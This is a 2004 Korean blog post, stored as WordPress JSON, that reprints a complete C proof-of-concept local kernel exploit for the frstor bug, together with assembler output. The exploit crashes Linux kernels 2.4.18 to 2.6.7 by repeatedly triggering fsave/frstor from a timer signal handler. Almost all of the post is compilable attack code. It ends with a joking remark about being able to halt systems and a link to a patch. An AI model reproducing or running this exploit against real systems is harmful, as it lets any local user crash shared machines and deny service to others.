{"id":201,"date":"2004-06-22T03:15:18","date_gmt":"2004-06-21T18:15:18","guid":{"rendered":"http:\/\/console.linuxstudy.pe.kr\/wordpress\/?p=201"},"modified":"2004-06-22T03:15:18","modified_gmt":"2004-06-21T18:15:18","slug":"evil-code","status":"publish","type":"post","link":"https:\/\/www.hyungsuk.com\/wordpress\/archives\/2004\/06\/22\/201\/","title":{"rendered":"Evil Code"},"content":{"rendered":"<p>  \/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n   * frstor Local Kernel exploit<br \/>\n   * Crashes any kernel from 2.4.18<br \/>\n   * to 2.6.7 because frstor in assembler<br \/>\n   * inline offsets in memory by 4.<br \/>\n   * Original proof of concept code<br \/>\n   * by stian_@_nixia.no.<br \/>\n   * Added some stuff by lorenzo_@_gnu.org<br \/>\n   * and fixed the fsave line with (*fpubuf).<br \/>\n   * &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n   *\/<\/p>\n<p>  \/*<br \/>\n  &#8212;&#8212;&#8212;<br \/>\n  Some debugging information made<br \/>\n  available by stian_@_nixia.no<br \/>\n  &#8212;&#8212;&#8212;<br \/>\n  TakeDown:<br \/>\n          pushl   %ebp<br \/>\n          movl    %esp, %ebp<br \/>\n          subl    $136, %esp<br \/>\n          leal    -120(%ebp), %eax<br \/>\n          movl    %eax, -124(%ebp)<br \/>\n  #APP<br \/>\n          fsave -124(%ebp)<\/p>\n<p>  #NO_APP<br \/>\n          subl    $4, %esp<br \/>\n          pushl   $1<br \/>\n          pushl   $.LC0<br \/>\n          pushl   $2<br \/>\n          call    write<br \/>\n          addl    $16, %esp<br \/>\n          leal    -120(%ebp), %eax<br \/>\n          movl    %eax, -128(%ebp)<br \/>\n  #APP<br \/>\n          frstor -128(%ebp)<\/p>\n<p>  #NO_APP<br \/>\n          leave<br \/>\n          ret<br \/>\n  *\/<\/p>\n<p>  #include <sys\/time.h><br \/>\n  #include <signal.h><br \/>\n  #include <unistd.h><\/p>\n<p>  static void TakeDown(int ignore)<br \/>\n  {<br \/>\n   char fpubuf[108];<br \/>\n  \/\/ __asm__ __volatile__ (&#8220;fsave %0n&#8221; : : &#8220;m&#8221;(fpubuf));<br \/>\n  __asm__ __volatile__ (&#8220;fsave %0n&#8221; : : &#8220;m&#8221;(*fpubuf));<br \/>\n   write(2, &#8220;*&#8221;, 1);<br \/>\n   __asm__ __volatile__ (&#8220;frstor %0n&#8221; : : &#8220;m&#8221;(fpubuf));<br \/>\n  }<\/p>\n<p>  int main(int argc, char *argv[])<br \/>\n  {<br \/>\n   struct itimerval spec;<br \/>\n   signal(SIGALRM, TakeDown);<br \/>\n   spec.it_interval.tv_sec=0;<br \/>\n   spec.it_interval.tv_usec=100;<br \/>\n   spec.it_value.tv_sec=0;<br \/>\n   spec.it_value.tv_usec=100;<br \/>\n   setitimer(ITIMER_REAL, &#038;spec, NULL);<br \/>\n   while(1)<br \/>\n    write(1, &#8220;.&#8221;, 1);<\/p>\n<p>   return 0;<br \/>\n  }<br \/>\n  \/\/ <<EOF\n\n\n\uc790~ \ub2f9\uc2e0\ub3c4 \uc774\uc81c \uc2dc\uc2a4\ud15c\uc744 \uc815\uc9c0\uc2dc\ud0ac\uc218(?) \uc788\ub2e4. \uad8c\ub825\uc77c\uae4c? \uc544\ub2c8\uba74 \ubc94\uc8c4\uc77c\uae4c?\n\nps) Linux Kernel 2.4, 2.6 \ud328\uce58\uc694\ub9dd.\n\uc790\uc138\ud55c \ud328\uce58\ubc95\uc740 <a href=\"http:\/\/linuxreviews.org\/news\/2004-06-11_kernel_crash\/index.html\" title=\"http:\/\/linuxreviews.org\/news\/2004-06-11_kernel_crash\/index.html\">http:\/\/linuxreviews.org\/news\/2004-06-11_kernel_crash\/index.html<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; * frstor Local Kernel exploit * Crashes any kernel from 2.4.18 * to 2.6.7 because frstor in assembler * inline offsets in memory by 4. * Original proof of concept code * by stian_@_nixia.no. * Added some stuff by lorenzo_@_gnu.org * and fixed the fsave line with (*fpubuf). * &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; *\/ \/* &#8212;&#8212;&#8212; [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-201","post","type-post","status-publish","format-standard","hentry","category-weblog"],"jetpack_featured_media_url":"","jetpack_shortlink":"https:\/\/wp.me\/pfkwZS-3f","jetpack_sharing_enabled":true,"jetpack-related-posts":[],"_links":{"self":[{"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/posts\/201","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/comments?post=201"}],"version-history":[{"count":0,"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/posts\/201\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/media?parent=201"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/categories?post=201"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.hyungsuk.com\/wordpress\/wp-json\/wp\/v2\/tags?post=201"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}